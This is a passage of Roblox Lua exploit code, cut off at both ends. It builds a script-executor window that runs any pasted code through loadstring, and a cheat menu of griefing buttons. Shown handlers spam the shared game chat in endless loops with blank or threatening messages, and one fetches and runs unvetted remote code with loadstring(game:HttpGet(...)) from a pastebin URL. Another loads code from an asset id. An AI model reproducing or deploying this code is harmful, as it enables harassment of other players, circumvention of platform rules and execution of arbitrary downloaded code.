titleBar.Name = "TitleBar" titleBar.Size = UDim2.new(1, 0, 0, 30) titleBar.BackgroundColor3 = Color3.fromRGB(45, 45, 45) titleBar.Parent = mainFrame -- Title text local titleLabel = Instance.new("TextLabel") titleLabel.Name = "TitleLabel" titleLabel.Size = UDim2.new(1, -10, 1, 0) titleLabel.Position = UDim2.new(0, 10, 0, 0) titleLabel.BackgroundTransparency = 1 titleLabel.Text = "znc_13 Executer" titleLabel.TextColor3 = Color3.fromRGB(255, 255, 255) titleLabel.Font = Enum.Font.GothamBold titleLabel.TextSize = 18 titleLabel.TextXAlignment = Enum.TextXAlignment.Left titleLabel.Parent = titleBar -- Close button local closeButton = Instance.new("TextButton") closeButton.Name = "CloseButton" closeButton.Size = UDim2.new(0, 30, 1, 0) closeButton.Position = UDim2.new(1, -30, 0, 0) closeButton.BackgroundColor3 = Color3.fromRGB(200, 50, 50) closeButton.Text = "X" closeButton.TextColor3 = Color3.fromRGB(255, 255, 255) closeButton.Font = Enum.Font.GothamBold closeButton.TextSize = 18 closeButton.Parent = titleBar closeButton.MouseButton1Click:Connect(function() screenGui:Destroy() end) -- TextBox for script input local scriptBox = Instance.new("TextBox") scriptBox.Name = "ScriptBox" scriptBox.Size = UDim2.new(1, -20, 1, -70) scriptBox.Position = UDim2.new(0, 10, 0, 40) scriptBox.BackgroundColor3 = Color3.fromRGB(40, 40, 40) scriptBox.TextColor3 = Color3.fromRGB(255, 255, 255) scriptBox.Font = Enum.Font.Code scriptBox.TextSize = 14 scriptBox.ClearTextOnFocus = false scriptBox.MultiLine = true scriptBox.TextWrapped = true scriptBox.Parent = mainFrame -- Execute button local executeButton = Instance.new("TextButton") executeButton.Name = "ExecuteButton" executeButton.Size = UDim2.new(0, 100, 0, 25) executeButton.Position = UDim2.new(1, -110, 1, -30) executeButton.BackgroundColor3 = Color3.fromRGB(70, 130, 180) executeButton.Text = "Execute" executeButton.TextColor3 = Color3.fromRGB(255, 255, 255) executeButton.Font = Enum.Font.GothamBold executeButton.TextSize = 16 executeButton.Parent = mainFrame -- Draggable functionality local UserInputService = game:GetService("UserInputService") local dragging local dragInput local dragStart local startPos local function update(input) local delta = input.Position - dragStart mainFrame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) end titleBar.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true dragStart = input.Position startPos = mainFrame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) titleBar.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if dragging and input == dragInput then update(input) end end) -- Execute script with Xeno Executor compatibility executeButton.MouseButton1Click:Connect(function() local scriptText = scriptBox.Text if syn and syn.request then -- Synapse compatibility (Xeno is Synapse-based) local func, err = loadstring(scriptText) if func then coroutine.wrap(func)() else warn("Script error: "..err) end else -- Fallback for other environments local func, err = loadstring(scriptText) if func then coroutine.wrap(func)() else warn("Script error: "..err) end end end) end, }) local Button = MainTab:CreateButton({ Name = "my script", Callback = function() --[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER ]=] -- Instances: 36 | Scripts: 16 | Modules: 0 | Tags: 0 local G2L = {}; -- StarterGui.ScreenGui G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; -- StarterGui.ScreenGui.Frame G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["BorderSizePixel"] = 4; G2L["2"]["BackgroundColor3"] = Color3.fromRGB(75, 75, 75); G2L["2"]["Size"] = UDim2.new(0, 451, 0, 290); G2L["2"]["Position"] = UDim2.new(0.27123, 0, 0.26307, 0); G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["BackgroundTransparency"] = 0.4; -- StarterGui.ScreenGui.Frame.TextButton G2L["3"] = Instance.new("TextButton", G2L["2"]); G2L["3"]["BorderSizePixel"] = 0; G2L["3"]["TextSize"] = 14; G2L["3"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3"]["BackgroundTransparency"] = 0.2; G2L["3"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3"]["Text"] = [[1x1x1x1 gui]]; G2L["3"]["Position"] = UDim2.new(0.71489, 0, 0.84162, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["4"] = Instance.new("LocalScript", G2L["3"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["5"] = Instance.new("TextButton", G2L["2"]); G2L["5"]["BorderSizePixel"] = 0; G2L["5"]["TextSize"] = 14; G2L["5"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5"]["BackgroundTransparency"] = 0.2; G2L["5"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["5"]["Text"] = [[theme music]]; G2L["5"]["Position"] = UDim2.new(0.37129, 0, 0.8393, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["6"] = Instance.new("LocalScript", G2L["5"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["7"] = Instance.new("TextButton", G2L["2"]); G2L["7"]["BorderSizePixel"] = 0; G2L["7"]["TextSize"] = 14; G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["7"]["BackgroundTransparency"] = 0.2; G2L["7"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["7"]["Text"] = [[skeleton sky]]; G2L["7"]["Position"] = UDim2.new(0.03875, 0, 0.83651, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["8"] = Instance.new("LocalScript", G2L["7"]); -- StarterGui.ScreenGui.Frame.LocalScript G2L["9"] = Instance.new("LocalScript", G2L["2"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["a"] = Instance.new("TextButton", G2L["2"]); G2L["a"]["BorderSizePixel"] = 0; G2L["a"]["TextSize"] = 14; G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a"]["BackgroundTransparency"] = 0.2; G2L["a"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["a"]["Text"] = [[romania spam]]; G2L["a"]["Position"] = UDim2.new(0.71445, 0, 0.65559, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["b"] = Instance.new("LocalScript", G2L["a"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["c"] = Instance.new("TextButton", G2L["2"]); G2L["c"]["BorderSizePixel"] = 0; G2L["c"]["TextSize"] = 14; G2L["c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["c"]["BackgroundTransparency"] = 0.2; G2L["c"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["c"]["Text"] = [[flood]]; G2L["c"]["Position"] = UDim2.new(0.37081, 0, 0.65534, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["d"] = Instance.new("LocalScript", G2L["c"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["e"] = Instance.new("TextButton", G2L["2"]); G2L["e"]["BorderSizePixel"] = 0; G2L["e"]["TextSize"] = 14; G2L["e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e"]["BackgroundTransparency"] = 0.2; G2L["e"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["e"]["Text"] = [[666]]; G2L["e"]["Position"] = UDim2.new(0.03714, 0, 0.65454, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["f"] = Instance.new("LocalScript", G2L["e"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["10"] = Instance.new("TextButton", G2L["2"]); G2L["10"]["BorderSizePixel"] = 0; G2L["10"]["TextSize"] = 14; G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["10"]["BackgroundTransparency"] = 0.2; G2L["10"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["10"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["10"]["Text"] = [[theme music]]; G2L["10"]["Position"] = UDim2.new(0.71276, 0, 0.48413, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["11"] = Instance.new("LocalScript", G2L["10"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["12"] = Instance.new("TextButton", G2L["2"]); G2L["12"]["BorderSizePixel"] = 0; G2L["12"]["TextSize"] = 14; G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["12"]["BackgroundTransparency"] = 0.2; G2L["12"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["12"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["12"]["Text"] = [[T7B3RS93 sound]]; G2L["12"]["Position"] = UDim2.new(0.03544, 0, 0.48106, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["13"] = Instance.new("LocalScript", G2L["12"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["14"] = Instance.new("TextButton", G2L["2"]); G2L["14"]["BorderSizePixel"] = 0; G2L["14"]["TextSize"] = 14; G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["14"]["BackgroundTransparency"] = 0.2; G2L["14"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["14"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["14"]["Text"] = [[explode]]; G2L["14"]["Position"] = UDim2.new(0.03365, 0, 0.32264, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["15"] = Instance.new("LocalScript", G2L["14"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["16"] = Instance.new("TextButton", G2L["2"]); G2L["16"]["BorderSizePixel"] = 0; G2L["16"]["TextSize"] = 14; G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["16"]["BackgroundTransparency"] = 0.2; G2L["16"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["16"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["16"]["Text"] = [[raining fire]]; G2L["16"]["Position"] = UDim2.new(0.03522, 0, 0.16733, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["17"] = Instance.new("LocalScript", G2L["16"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["18"] = Instance.new("TextButton", G2L["2"]); G2L["18"]["BorderSizePixel"] = 0; G2L["18"]["TextSize"] = 14; G2L["18"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["18"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["18"]["BackgroundTransparency"] = 0.2; G2L["18"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["18"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["18"]["Text"] = [[unanchor]]; G2L["18"]["Position"] = UDim2.new(0.37164, 0, 0.16499, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["19"] = Instance.new("LocalScript", G2L["18"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["1a"] = Instance.new("TextButton", G2L["2"]); G2L["1a"]["BorderSizePixel"] = 0; G2L["1a"]["TextSize"] = 14; G2L["1a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1a"]["BackgroundTransparency"] = 0.2; G2L["1a"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["1a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a"]["Text"] = [[ball rain]]; G2L["1a"]["Position"] = UDim2.new(0.71094, 0, 0.16456, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["1b"] = Instance.new("LocalScript", G2L["1a"]); -- StarterGui.ScreenGui.Frame.TextLabel G2L["1c"] = Instance.new("TextLabel", G2L["2"]); G2L["1c"]["BorderSizePixel"] = 0; G2L["1c"]["TextSize"] = 14; G2L["1c"]["BackgroundColor3"] = Color3.fromRGB(32, 32, 32); G2L["1c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c"]["Size"] = UDim2.new(0, 241, 0, 25); G2L["1c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c"]["Text"] = [[Gui made by: Lucas_cubing10]]; G2L["1c"]["Position"] = UDim2.new(0.25805, 0, -0.00299, 0); -- StarterGui.ScreenGui.Frame.TextLabel.UICorner G2L["1d"] = Instance.new("UICorner", G2L["1c"]); G2L["1d"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.ScreenGui.Frame.ImageLabel G2L["1e"] = Instance.new("ImageLabel", G2L["2"]); G2L["1e"]["BorderSizePixel"] = 0; G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["1e"]["Image"] = [[rbxassetid://124868710717730]]; G2L["1e"]["Size"] = UDim2.new(0, 187, 0, 123); G2L["1e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1e"]["BackgroundTransparency"] = 1; G2L["1e"]["Position"] = UDim2.new(0.29453, 0, -0.42891, 0); -- StarterGui.ScreenGui.Frame.TextButton G2L["1f"] = Instance.new("TextButton", G2L["2"]); G2L["1f"]["BorderSizePixel"] = 0; G2L["1f"]["TextSize"] = 14; G2L["1f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f"]["BackgroundTransparency"] = 0.2; G2L["1f"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["1f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f"]["Text"] = [[rainbow all]]; G2L["1f"]["Position"] = UDim2.new(0.37378, 0, 0.32078, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["20"] = Instance.new("LocalScript", G2L["1f"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["21"] = Instance.new("TextButton", G2L["2"]); G2L["21"]["BorderSizePixel"] = 0; G2L["21"]["TextSize"] = 14; G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["21"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["21"]["BackgroundTransparency"] = 0.2; G2L["21"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["21"]["Text"] = [[disco]]; G2L["21"]["Position"] = UDim2.new(0.71383, 0, 0.31788, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["22"] = Instance.new("LocalScript", G2L["21"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["23"] = Instance.new("TextButton", G2L["2"]); G2L["23"]["TextWrapped"] = true; G2L["23"]["BorderSizePixel"] = 0; G2L["23"]["TextSize"] = 14; G2L["23"]["TextScaled"] = true; G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["23"]["BackgroundTransparency"] = 0.2; G2L["23"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["23"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["23"]["Text"] = [[synapse x de buget executor]]; G2L["23"]["Position"] = UDim2.new(0.37435, 0, 0.4816, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["24"] = Instance.new("LocalScript", G2L["23"]); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_4() local script = G2L["4"]; script.Parent.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] -- Gui to Lua -- Version: 3.2 -- Instances: local ScreenGui = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local Name = Instance.new("TextLabel") local Credits = Instance.new("TextLabel") local ball = Instance.new("TextButton") local noclip = Instance.new("TextButton") local fakelag = Instance.new("TextButton") local plane = Instance.new("TextButton") local destroychat = Instance.new("TextButton") local sit = Instance.new("TextButton") local fly = Instance.new("TextButton") local tp = Instance.new("TextButton") local message = Instance.new("TextButton") local floatingpad = Instance.new("TextButton") local r6 = Instance.new("TextButton") local c00lgui = Instance.new("TextButton") local rejoin = Instance.new("TextButton") --Properties: ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling Frame.Parent = ScreenGui Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Frame.Position = UDim2.new(-0.0196145065, 168, 0.642360091, -215) Frame.Size = UDim2.new(0, 417, 0, 280) Name.Name = "Name" Name.Parent = Frame Name.BackgroundColor3 = Color3.fromRGB(255, 0, 0) Name.Size = UDim2.new(0, 417, 0, 25) Name.Font = Enum.Font.GothamBold Name.Text = "1x1x1x1 Gui FE" Name.TextColor3 = Color3.fromRGB(0, 0, 0) Name.TextScaled = true Name.TextSize = 14.000 Name.TextWrapped = true Credits.Name = "Credits" Credits.Parent = Frame Credits.BackgroundColor3 = Color3.fromRGB(255, 0, 0) Credits.Position = UDim2.new(3.65918211e-08, 0, 0.911999941, 0) Credits.Size = UDim2.new(0, 416, 0, 22) Credits.Font = Enum.Font.GothamBold Credits.Text = "By FishNoobAhh" Credits.TextColor3 = Color3.fromRGB(0, 0, 0) Credits.TextScaled = true Credits.TextSize = 14.000 Credits.TextWrapped = true ball.Name = "ball" ball.Parent = Frame ball.BackgroundColor3 = Color3.fromRGB(255, 0, 0) ball.Position = UDim2.new(0.0511240065, 0, 0.154811308, 0) ball.Size = UDim2.new(0, 79, 0, 31) ball.Font = Enum.Font.GothamBold ball.Text = "become ball" ball.TextColor3 = Color3.fromRGB(0, 0, 0) ball.TextScaled = true ball.TextSize = 14.000 ball.TextWrapped = true noclip.Name = "noclip" noclip.Parent = Frame noclip.BackgroundColor3 = Color3.fromRGB(255, 0, 0) noclip.Position = UDim2.new(0.0511240065, 0, 0.308153421, 0) noclip.Size = UDim2.new(0, 79, 0, 31) noclip.Font = Enum.Font.GothamBold noclip.Text = "noclip" noclip.TextColor3 = Color3.fromRGB(0, 0, 0) noclip.TextScaled = true noclip.TextSize = 14.000 noclip.TextWrapped = true fakelag.Name = "fakelag" fakelag.Parent = Frame fakelag.BackgroundColor3 = Color3.fromRGB(255, 0, 0) fakelag.Position = UDim2.new(0.0511240065, 0, 0.454681605, 0) fakelag.Size = UDim2.new(0, 79, 0, 34) fakelag.Font = Enum.Font.GothamBold fakelag.Text = "fe fake lag" fakelag.TextColor3 = Color3.fromRGB(0, 0, 0) fakelag.TextScaled = true fakelag.TextSize = 14.000 fakelag.TextWrapped = true fakelag.MouseButton1Down:Connect(function() while true do game.Players.LocalPlayer.Character.Torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.Jump = true wait(0.1) game.Players.LocalPlayer.Character.Torso.Anchored = false game.Players.LocalPlayer.Character.Humanoid.Sit = true wait(0.1) end end) plane.Name = "plane" plane.Parent = Frame plane.BackgroundColor3 = Color3.fromRGB(255, 0, 0) plane.Position = UDim2.new(0.386630774, 0, 0.154811308, 0) plane.Size = UDim2.new(0, 83, 0, 31) plane.Font = Enum.Font.GothamBold plane.Text = "become a plane" plane.TextColor3 = Color3.fromRGB(0, 0, 0) plane.TextScaled = true plane.TextSize = 14.000 plane.TextWrapped = true destroychat.Name = "destroy chat" destroychat.Parent = Frame destroychat.BackgroundColor3 = Color3.fromRGB(255, 0, 0) destroychat.Position = UDim2.new(0.391426951, 0, 0.308153421, 0) destroychat.Size = UDim2.new(0, 83, 0, 31) destroychat.Font = Enum.Font.GothamBold destroychat.Text = "destroy chat fe (op warning)" destroychat.TextColor3 = Color3.fromRGB(0, 0, 0) destroychat.TextScaled = true destroychat.TextSize = 14.000 destroychat.TextWrapped = true destroychat.MouseButton1Down:Connect(function() for i = 1, 4 do local args = { [1] = "\194\160\194\160", [2] = "All" } game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest"):FireServer(unpack(args)) end end) sit.Name = "sit" sit.Parent = Frame sit.BackgroundColor3 = Color3.fromRGB(255, 0, 0) sit.Position = UDim2.new(0.391426951, 0, 0.457778603, 0) sit.Size = UDim2.new(0, 83, 0, 34) sit.Font = Enum.Font.GothamBold sit.Text = "sit" sit.TextColor3 = Color3.fromRGB(0, 0, 0) sit.TextScaled = true sit.TextSize = 14.000 sit.TextWrapped = true sit.MouseButton1Down:Connect(function() local human = kevyn.Parent:findFirstChild("Humanoid") if (human ~= nil)then human.Sit=true end end) fly.Name = "fly" fly.Parent = Frame fly.BackgroundColor3 = Color3.fromRGB(255, 0, 0) fly.Position = UDim2.new(0.723578513, 0, 0.154811308, 0) fly.Size = UDim2.new(0, 89, 0, 31) fly.Font = Enum.Font.GothamBold fly.Text = "fly" fly.TextColor3 = Color3.fromRGB(0, 0, 0) fly.TextScaled = true fly.TextSize = 14.000 fly.TextWrapped = true tp.Name = "tp" tp.Parent = Frame tp.BackgroundColor3 = Color3.fromRGB(255, 0, 0) tp.Position = UDim2.new(0.723578513, 0, 0.308153421, 0) tp.Size = UDim2.new(0, 89, 0, 31) tp.Font = Enum.Font.GothamBold tp.Text = "click to tp" tp.TextColor3 = Color3.fromRGB(0, 0, 0) tp.TextScaled = true tp.TextSize = 14.000 tp.TextWrapped = true message.Name = "message" message.Parent = Frame message.BackgroundColor3 = Color3.fromRGB(255, 0, 0) message.Position = UDim2.new(0.723578513, 0, 0.457778603, 0) message.Size = UDim2.new(0, 89, 0, 34) message.Font = Enum.Font.GothamBold message.Text = "messages" message.TextColor3 = Color3.fromRGB(0, 0, 0) message.TextScaled = true message.TextSize = 14.000 message.TextWrapped = true message.MouseButton1Down:Connect(function() while true do wait(2) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: MUHAWHAWHAW!! I HAVE RETURNED FOR MY REVENGE!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: NOW YOU WILL ALL PARISH IN MY FIRE OF DOOM!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: I WILL DESTR0Y YOU ALL! YOU ARE HATERS!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: YOU WILL NOT LIVE THROUGH MY DEADLY ATTACKS!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: I MIGHT AS WELL CLONE YOU INTO BOTS!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: AND THEN THOSE BOTS WILL DESTROY ROBLOX! HAHAHAHAHA!!", "ALL") wait(3) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: YOU CAN'T STOP ME! THERES NOTHING YOU CAN DO!!", "ALL") wait(2) end end) floatingpad.Name = "floatingpad" floatingpad.Parent = Frame floatingpad.BackgroundColor3 = Color3.fromRGB(255, 0, 0) floatingpad.Position = UDim2.new(0.0511240065, 0, 0.620496035, 0) floatingpad.Size = UDim2.new(0, 79, 0, 34) floatingpad.Font = Enum.Font.GothamBold floatingpad.Text = "floating pad (requires r6)" floatingpad.TextColor3 = Color3.fromRGB(0, 0, 0) floatingpad.TextScaled = true floatingpad.TextSize = 14.000 floatingpad.TextWrapped = true r6.Name = "r6" r6.Parent = Frame r6.BackgroundColor3 = Color3.fromRGB(255, 0, 0) r6.Position = UDim2.new(0.393903613, 0, 0.620496035, 0) r6.Size = UDim2.new(0, 79, 0, 34) r6.Font = Enum.Font.GothamBold r6.Text = "r15 to r6" r6.TextColor3 = Color3.fromRGB(0, 0, 0) r6.TextScaled = true r6.TextSize = 14.000 r6.TextWrapped = true r6.MouseButton1Down:Connect(function() loadstring(game:HttpGet(('https://pastebin.com/raw/jHGVauVX'),true))() end) c00lgui.Name = "c00lgui" c00lgui.Parent = Frame c00lgui.BackgroundColor3 = Color3.fromRGB(255, 0, 0) c00lgui.Position = UDim2.new(0.723578513, 0, 0.620496035, 0) c00lgui.Size = UDim2.new(0, 88, 0, 34) c00lgui.Font = Enum.Font.GothamBold c00lgui.Text = "fe c00lgui" c00lgui.TextColor3 = Color3.fromRGB(0, 0, 0) c00lgui.TextScaled = true c00lgui.TextSize = 14.000 c00lgui.TextWrapped = true c00lgui.MouseButton1Down:Connect(function() loadstring(game:GetObjects("rbxassetid://9827584846")[1].Source)() end) rejoin.Name = "rejoin" rejoin.Parent = Frame rejoin.BackgroundColor3 = Color3.fromRGB(255, 0, 0) rejoin.Position = UDim2.new(0.0511240065, 0, 0.76692462, 0) rejoin.Size = UDim2.new(0, 79, 0, 34) rejoin.Font = Enum.Font.GothamBold rejoin.Text = "rejoin" rejoin.TextColor3 = Color3.fromRGB(0, 0, 0) rejoin.TextScaled = true rejoin.TextSize = 14.000 rejoin.TextWrapped = true rejoin.MouseButton1Down:Connect(function() local player = game.Players.LocalPlayer local gamePlaceId = game.PlaceId local teleportService = game:GetService("TeleportService") teleportService:Teleport(gamePlaceId, player) end) -- Scripts: local function WVDQ_fake_script() -- ball.LocalScript local script = Instance.new('LocalScript', ball) script.Parent.MouseButton1Click:Connect(function() local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local Camera = workspace.CurrentCamera local SPEED_MULTIPLIER = 30 local JUMP_POWER = 60 local JUMP_GAP = 0.3 local character = game.Players.LocalPlayer.Character for i,v in ipairs(character:GetDescendants()) do if v:IsA("BasePart") then v.CanCollide = false end end local ball = character.HumanoidRootPart ball.Shape = Enum.PartType.Ball ball.Size = Vector3.new(5,5,5) local humanoid = character:WaitForChild("Humanoid") local params = RaycastParams.new() params.FilterType = Enum.RaycastFilterType.Blacklist 